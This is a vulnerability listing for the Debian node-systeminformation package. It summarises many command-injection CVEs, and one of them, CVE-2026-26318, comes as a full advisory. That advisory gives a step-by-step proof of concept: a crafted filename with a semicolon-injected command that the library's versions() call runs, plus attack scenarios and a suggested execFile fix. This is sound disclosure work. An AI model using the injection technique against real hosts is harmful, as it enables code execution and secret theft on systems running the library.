Search for packages
| purl | pkg:deb/debian/node-systeminformation@0?distro=sid |
| Vulnerability | Summary | Fixed by |
|---|---|---|
| This package is not known to be affected by vulnerabilities. | ||
| Vulnerability | Summary | Aliases |
|---|---|---|
| VCID-297u-ugtg-bkdd | OS Command Injection systeminformation suffers from a command injection vulnerability. |
CVE-2020-26274
GHSA-m57p-p67h-mq74 |
| VCID-2rnv-d3tb-hug9 | Systeminformation has a Command Injection via unsanitized interface parameter in wifi.js retry path A command injection vulnerability in the `wifiNetworks()` function allows an attacker to execute arbitrary OS commands via an unsanitized network interface parameter in the retry code path. |
CVE-2026-26280
GHSA-9c88-49p5-5ggf |
| VCID-3vuy-w9kw-7fdy | systeminformation SSID Command Injection Vulnerability ### Impact SSID Command Injection Vulnerability ### Patches Problem was fixed with a parameter check. Please upgrade to version >= 5.21.7, Version 4 was not affected ### Workarounds If you cannot upgrade, be sure to check or sanitize parameter strings that are passed to wifiConnections(), wifiNetworks() (string only) ### References See also https://systeminformation.io/security.html |
CVE-2023-42810
GHSA-gx6r-qc2v-3p3v |
| VCID-6t9m-cpgx-z3hb | OS Command Injection npm package systeminformation is vulnerable to Prototype Pollution leading to Command Injection.If you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to `si.inetChecksite().` |
CVE-2020-26245
GHSA-4v2w-h9jm-mqjg |
| VCID-99un-1enx-5uhv | Systeminformation has command injection vulnerability in getWindowsIEEE8021x (SSID) The SSID is not sanitized when before it is passed as a parameter to cmd.exe in the `getWindowsIEEE8021x` function. This means that malicious content in the SSID can be executed as OS commands. |
CVE-2024-56334
GHSA-cvv5-9h9w-qp2m |
| VCID-9hsr-wmwh-2ud1 | systeminformation is a System and OS information library for node.js. From 4.17.0 to 5.31.5, on Linux, systeminformation is vulnerable to command injection in networkInterfaces() when an active NetworkManager connection profile name contains shell metacharacters. The vulnerable value is obtained internally from real nmcli device status output. The library sanitizes the network interface name before using it in shell commands, but it does not apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized connectionName is then interpolated into three shell command strings executed through execSync(). This vulnerability is fixed in 5.31.6. |
CVE-2026-44724
GHSA-hvx9-hwr7-wjj9 |
| VCID-axru-z7ku-nyh8 | OS Command Injection This affects the package systeminformation The attacker can overwrite the properties and functions of an object, which can lead to executing OS commands. |
CVE-2020-7778
GHSA-8j36-q8x7-pm6q |
| VCID-c47r-q1dv-8qg7 | The systeminformation package is vulnerable to Command Injection. An attacker can concatenate the curl command's parameters to overwrite Javascript files and then execute any OS commands. |
CVE-2020-7752
GHSA-94xh-2fmc-xf5j |
| VCID-f4e3-n5n3-fbah | Command Injection systeminformation is an npm package that provides system and OS information library for node.js. In systeminformation there is a command injection vulnerability. Problem was fixed with a shell string sanitation fix. |
CVE-2020-26300
GHSA-fj59-f6c3-3vw4 |
| VCID-fen5-17u8-efbs | OS Command Injection systeminformation is an open source system and OS information library for node.Please upgrade to If you cannot upgrade, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() and other commands. Only allow strings, reject any arrays. String sanitation works as expected. |
CVE-2021-21388
GHSA-jff2-qjw8-5476 |
| VCID-kg9c-n3a4-9uh1 | # Command Injection via Unsanitized `locate` Output in `versions()` — systeminformation **Package:** systeminformation (npm) **Tested Version:** 5.30.7 **Affected Platform:** Linux **Author:** Sebastian Hildebrandt **Weekly Downloads:** ~5,000,000+ **Repository:** https://github.com/sebhildebrandt/systeminformation **Severity:** Medium **CWE:** CWE-78 (OS Command Injection) --- ### The Vulnerable Code Path Inside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this: ```javascript // lib/osinfo.js — lines 770-776 exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n').sort(); if (postgresqlBin.length) { exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => { // parses version string... }); } } }); ``` Here's what happens step by step: 1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries 2. It splits the output by newline and sorts the results alphabetically 3. It takes the **last element** (highest alphabetically) 4. It concatenates that path directly into a new `exec()` call with `+ ' -V'` **No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.** The `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to `exec()`. --- ## Exploitation ### Prerequisites For this vulnerability to be exploitable, the following conditions must be met: 1. **Target system runs Linux** — the vulnerable code path is inside an `if (_linux)` block 2. **`locate` / `plocate` is installed** — common on Ubuntu, Debian, Fedora, RHEL 3. **PostgreSQL binary exists in the locate database** — so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback) 4. **The attacker can create files on the filesystem** — in any directory that gets indexed by `updatedb` 5. **The locate database gets updated** — `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros ### Step 1 — Verify the Environment On the target machine, confirm locate is available and running: ``` which locate # /usr/bin/locate systemctl list-timers | grep plocate # plocate-updatedb.timer plocate-updatedb.service # (runs daily, typically around 1-2 AM) ``` Check who owns the locate database: ``` ls -la /var/lib/plocate/plocate.db # -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db ``` Database is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files. ### Step 2 — Craft the Malicious File Path The key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**. Create a file whose path contains an injected command: ``` mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin" touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres" ``` Verify it exists: ``` find /var/tmp -name postgres # /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` This file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes: ``` sudo updatedb ``` Then verify locate picks it up: ``` locate bin/postgres # /usr/lib/postgresql/14/bin/postgres # /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` ### Step 3 — Understand the Sort Trick The vulnerable code sorts the locate results alphabetically and takes the **last** element: ```javascript const postgresqlBin = stdout.toString().split('\n').sort(); exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...); ``` Alphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one: ``` Node.js sort order: [0] /usr/lib/postgresql/14/bin/postgres ← legitimate [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ← selected (last) ``` Quick verification: ``` node -e " const paths = [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres' ]; console.log('Sorted:', paths.sort()); console.log('Selected (last):', paths[paths.length - 1]); " ``` Output: ``` Sorted: [ '/usr/lib/postgresql/14/bin/postgres', '/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres' ] Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ``` ### Step 4 — Trigger the Vulnerability Now when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires: ```javascript const si = require('systeminformation'); // This is a normal, innocent API call si.versions('postgresql').then(data => { console.log(data); }); ``` Internally, the library builds and executes this command: ``` /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V ``` The shell (`/bin/sh -c`) interprets this as three separate commands: ``` /var/tmp/x → fails silently (not executable) touch /tmp/SI_RCE_PROOF → ATTACKER'S COMMAND EXECUTES /bin/postgres -V → runs normally, returns version ``` ### Step 5 — Verify Code Execution ``` ls -la /tmp/SI_RCE_PROOF # -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF ``` The file exists. Arbitrary command execution confirmed. The injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that's typically the application service account. --- ## Real-World Attack Scenarios ### Scenario 1 — Shared Hosting / Multi-Tenant Server A low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker's command executes under the monitoring agent's (higher-privileged) service account. ### Scenario 2 — CI/CD Pipeline Poisoning A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys. ### Scenario 3 — Container / Kubernetes Escape In containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary. --- ## Suggested Fix Replace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters: ```javascript const { execFile } = require('child_process'); exec('locate bin/postgres', (error, stdout) => { if (!error) { const postgresqlBin = stdout.toString().split('\n') .filter(p => p.trim().length > 0) .sort(); if (postgresqlBin.length) { execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => { // ... parse version }); } } }); ``` Additionally, the locate output should be validated against a safe path pattern before use: ```javascript const safePath = /^[a-zA-Z0-9/_.-]+$/; const postgresqlBin = stdout.toString().split('\n') .filter(p => safePath.test(p.trim())) .sort(); ``` --- ## Disclosure - **Reported via:** GitHub Private Security Advisory - **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new - **Security Contact:** security@systeminformation.io |
CVE-2026-26318
GHSA-5vv4-hvf7-2h46 |
| VCID-us5p-3w2r-13e6 | Command Injection Vulnerability command injection vulnerability |
CVE-2021-21315
GHSA-2m8v-572m-ff2v |
| VCID-wd8e-yyex-vqff | systeminformation has a Command Injection vulnerability in fsSize() function on Windows The `fsSize()` function in `systeminformation` is vulnerable to **OS Command Injection (CWE-78)** on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. **Affected Platforms:** Windows only **CVSS Breakdown:** - **Attack Vector (AV:N):** Network - if used in a web application/API - **Attack Complexity (AC:H):** High - requires application to pass user input to `fsSize()` - **Privileges Required (PR:N):** None - no authentication required at library level - **User Interaction (UI:N):** None - **Scope (S:U):** Unchanged - executes within Node.js process context - **Confidentiality/Integrity/Availability (C:H/I:H/A:H):** High impact if exploited > **Note:** The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. --- |
CVE-2025-68154
GHSA-wphj-fx3q-84ch |